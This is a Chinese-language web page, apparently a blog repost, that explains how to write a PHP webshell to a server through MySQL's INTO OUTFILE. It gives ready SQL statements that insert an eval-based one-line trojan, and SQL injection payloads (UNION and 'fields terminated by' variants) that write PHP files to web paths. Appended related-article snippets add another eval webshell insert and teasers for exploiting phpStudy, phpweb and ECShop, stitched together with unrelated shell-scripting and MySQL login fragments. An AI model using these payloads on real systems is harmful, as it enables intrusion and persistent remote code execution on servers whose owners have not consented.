MYSQL写shell

利用需要满足以下条件:

  1. root权限
  2. GPC关闭(能使用单引号)
  3. 有绝对路径(读文件可以不用,写文件必须)
  4. 没有配置–secure-file-priv

Drop TABLE IF EXISTS temp; //如果存在temp就删掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段
Insert INTO temp (cmd) VALUES(‘<? php eval_r($_POST[cmd]);?>‘); //把一句话木马插入到temp表
Select cmd from temp into out file ‘F:/wwwroot/eval.php‘; //查询temp表中的一句话并把结果导入到eval.php
Drop TABLE IF EXISTS temp; //删除temp

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12UNION SELECT 1,2,‘zerosoul‘,4,5,6,7,8,9,10,11,12/*,则返回页面上次显示3的地方会显示zerosoul。
也就是说如果我们的select语句后面不带from table语句的话,我们说查询的数字或字符会直接返回到查询结果里。

1、union写shell
id=2) union select 1,2,3,4,5,6,7,‘<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’

2、no union

id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’

如select * from users into outfile ‘c:\1.txt‘ fields terminated by "<? phpinfo(); ?>"

有了这个思路,上面那一大段到出一句话的SQL代码可以直接简化到一句:

Select ‘<? php eval_r($_POST[cmd]);?>‘ into outfile ‘F:/wwwroot/eval.php‘;

原文地址:https://www.cnblogs.com/fengshui/p/9265534.html

时间: 2024-10-14 00:41:54

MYSQL写shell的相关文章

mysql写Shell小技巧

今天终于在表哥的帮助下解决了文件导入/出这个问题了.(很菜逼的一个问题),然后将最近看到的文章都自己测试了下,顺便奉上记录.1.Mysql数据库支持union的时候写文件小技巧: 采用常规的union写入,可以看到前面的字段占位数肯定也会被写入,替换成null也是一样的结果,这个对于写shell没啥大碍,但是如果用来写bat,mof,vbs等文件就会出问题了,那么怎么去掉这个只写入我们需要的内容呢?采用hex编码就好了. 将我们要写入的内容使用hex编码在分段写在每个字段位上,这样就可以只写入我

upupw phpmyadmin写shell

废话: upupw给我的感觉是一个充当了waf毁三观的垃圾程序.然而,我讨厌的程序,管理员都特别喜欢用. 你会发现直接用之前那套写shell的建表然后在值里添加shell代码写到一个路径不可以了. CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL ); INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>'); S

怎么写shell脚本才能不耍流氓?

1.不记录日志的 SHELL 脚本就是耍流氓!我们经常在工作中会遇到一个苦恼的事情,一个 Shell 脚本到底干了什么,什么时候开始执行,什么时候结束的.尤其是数据库备份,我们想知道我们的 MySQL 数据库备份时间.所以给脚本加日志显得尤为重要.那么我们的脚本应该有一个日志的函数,专门用于记录日志: #!/bin/bash SHELL_NAME="$0" SHELL_LOG="/var/log/$SHELL_NAME.log" shell_log(){     l

(实战)phpstudy的漏洞+数据库日志写shell

--真正的才智是刚毅的志向. 今天没学多少东西,直到下午在看别人的文章的时候看到了phpstudy0day的关键词,好奇就查了查.其实这个洞有一段时间了,然后就准备google试试还能不能找到有洞的网站,直接google搜phpstudy 探针 2014.结果是这样的 ,我不得不感叹google太强了. 前几页我就不打算看了,基本上已经被日穿了,或者洞补了.所以干脆向后面翻,说实话运气很重要,我刚尝试了第一个网站就成了. 首先,点开网站是这样的: 我们要用到的就是这个MySQL数据库连接检测功能

phpweb成品网站最新版(注入、上传、写shell)

注入:之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码 鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件鸡肋2: 有一定安全常识的站长都会删掉 install 目录 虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc . webserver 影响 分析: $siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤 $filestr = fread(fo

awk写shell分发脚本

使用hadoop或者部署hadoop的时候,经常会遇到要往其他机器上拷贝文件的情况,但是,如果单个写的话,碰巧集群又很大,会累死的,现在使用一种awk写shell脚本,速度很快 命令 awk 'BEGIN{ print "#! /bin/sh";for(i=10;i<=200;i++) print "scp -r hadoop 10.6.8."i":/usr/hadoop" }'  > scp.sh 这样就可以轻松分发10.6.8.1

十分钟学会写shell脚本

大家好!我是handsomecui,下面我为大家讲解一下shell脚本的写法,讲的不好的地方,欢迎大家留言拍砖. 1.在linux下会写shell脚本是非常重要的,下面我参照例子给大家展示几个脚本,顺带这学习shell 的语法: 什么时候helloworld是必不可少的,第一个脚本肯定与helloworld是离不开的: #!/bin/sh a="hello world!" num=2 echo "a is : $a num is : ${num}nd" 运行结果:

mysql 安装后无法登陆mysql的 shell 那mysql&amp;gt;经验:ERROR 1045 (28000): Access denied for user &amp;#39;root&amp;#39;@&amp;#39;localhost‘

[[email protected] ~]# mysql ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO) 遇到:ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO) 网上找了非常多的文章还是没有解决我的问题. 1.首先能够确认的是mysql 命令行 sql命令keywo

秒杀ecshop的前台写shell 0day

ECSHOP号称最大的开源网店系统,官方是这样介绍它的:"ECShop网店系统是一套免费开源的网上商店软件,无论在稳定性.代码优化.运行效率.负载能力.安全等级.功能可操控性和权限严密性等方面都居国内外同类产品领先地位. 按照我的理解,作为一款网店系统,系统的安全性应该摆在很重要的位置,但ECSHOP却好像漏洞不断.就在前几天,xhming大牛又公布了一个ECSHOP前台写shell的Oday,利用漏洞获得shell非常简单,可以说是秒杀.从官方下载的ECSHOP的最新版本也存在这个漏洞,官方还